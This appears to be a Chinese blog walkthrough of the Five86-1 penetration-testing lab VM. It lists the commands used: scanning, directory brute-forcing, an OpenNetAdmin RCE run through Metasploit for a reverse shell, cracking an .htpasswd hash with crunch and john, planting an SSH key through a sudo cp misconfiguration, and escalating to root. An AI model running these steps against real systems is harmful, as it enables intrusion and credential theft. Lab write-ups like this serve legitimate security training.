渗透测试学习之靶机Five86-1

过程
1. 探测目标主机

nmap -sP 192.168.246.0/24,得到目标主机IP:192.168.246.147
在这里插入图片描述

2. 信息搜集
  • 端口信息
    nmap -sV -p 1-65535 192.168.246.147
    在这里插入图片描述
    2个http端口,80是Apache,10000那个查一下:
    在这里插入图片描述
  • web站点相关服务信息
    80Apache下的站点:
    在这里插入图片描述
    10000端口下的集成环境:
    在这里插入图片描述
    服务信息看不出啥
  • 目录信息
    直接使用kali里的dirb:
    dirb http://192.168.246.147
    在这里插入图片描述
    打开robots.txt:
    在这里插入图片描述
    打开ona:
    在这里插入图片描述
    搞不懂这是个啥,百度:
    在这里插入图片描述
    看一下版本:
    在这里插入图片描述
3. RCEgetshell

kali里搜一下相关漏洞:
searchsploit opennetadmin
在这里插入图片描述
刚刚好对应上了RCE。
进入该目录,然后./47691.sh http://192.168.246.147/ona/login.php
一直报错,中途进去删了空行,没改回原来的样子,大致是这样:
在这里插入图片描述
至于login.php是怎么找到,点击右上角的logout后,出现logout.php,试下login.php就出现登录界面。
漏洞库找下EXP,看到个msf版的:
在这里插入图片描述
下载后拉进kali,我放的位置是/usr/share/metasploit-framework/modules/exploits/unix/
在这里插入图片描述
然后在msf里重新加载,reload_all
在这里插入图片描述
使用该exp:use exploit/unix/47772
查看所需配置:show options
在这里插入图片描述
设置目标IP,反弹IP:
set rhosts 192.168.246.147
set srvhost 192.168.246.138
set lhost 192.168.246.138
在这里插入图片描述
expolit
在这里插入图片描述
shell后,获取交互式shell:
python -c 'import pty;pty.spawn("/bin/bash")'
在这里插入图片描述
进入html目录,查看文件:
在这里插入图片描述
在这里插入图片描述
根据.htaccess里的提示找到.htpasswd:
cd /var/www
ls -la
cat .htpasswd
在这里插入图片描述
是一个用户的账户密码,提示密码10位数且只有aefhrt这些字符,用crunch生成字典:
crunch 10 10 aefhrt -o /root/Desktop/dic.txt
在这里插入图片描述
将.htpasswd中的密码保存到文件中,使用生成的字典john爆破一下:
john --wordlist=/root/Desktop/dic.txt /root/Desktop/86-1.txt
在这里插入图片描述
得到密码:fatherrrrr
切换到douglas用户,然后查看权限:
在这里插入图片描述
/bin/cp也就是copy命令可以使用Jen用户权限免密执行,在douglas下,看到隐藏的.ssh,那么把它cp到jen目录下就可以使用ssh密钥登录jen了:
在这里插入图片描述
Linux密钥登录原理和ssh使用密钥实现免密码登陆
将公钥复制到jen里:
cp id_rsa.pub /tmp/authorized_keys
chmod 777 /tmp/authorized_keys
sudo -u jen /bin/cp /tmp/authorized_keys /home/jen/.ssh
在这里插入图片描述
登录:
ssh jen@192.168.246.147
在这里插入图片描述
登录上就提示You have new mail.
查看
cd /var/mail
ls
cat jen
看到一篇挺长的邮件:
在这里插入图片描述
重点在这里:
在这里插入图片描述
moss的密码是Fire!Fire!
切换用户:
cd
ls -la
来到moss的目录下看到隐藏的games:
在这里插入图片描述
进入该目录后查看文件,有个root:
在这里插入图片描述
打开看后是乱码,然后执行一下就蹦出了这个:
在这里插入图片描述
直接进入root目录,找到flag.txt:
在这里插入图片描述

总结
  • 扩展起来挺多东西的。
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值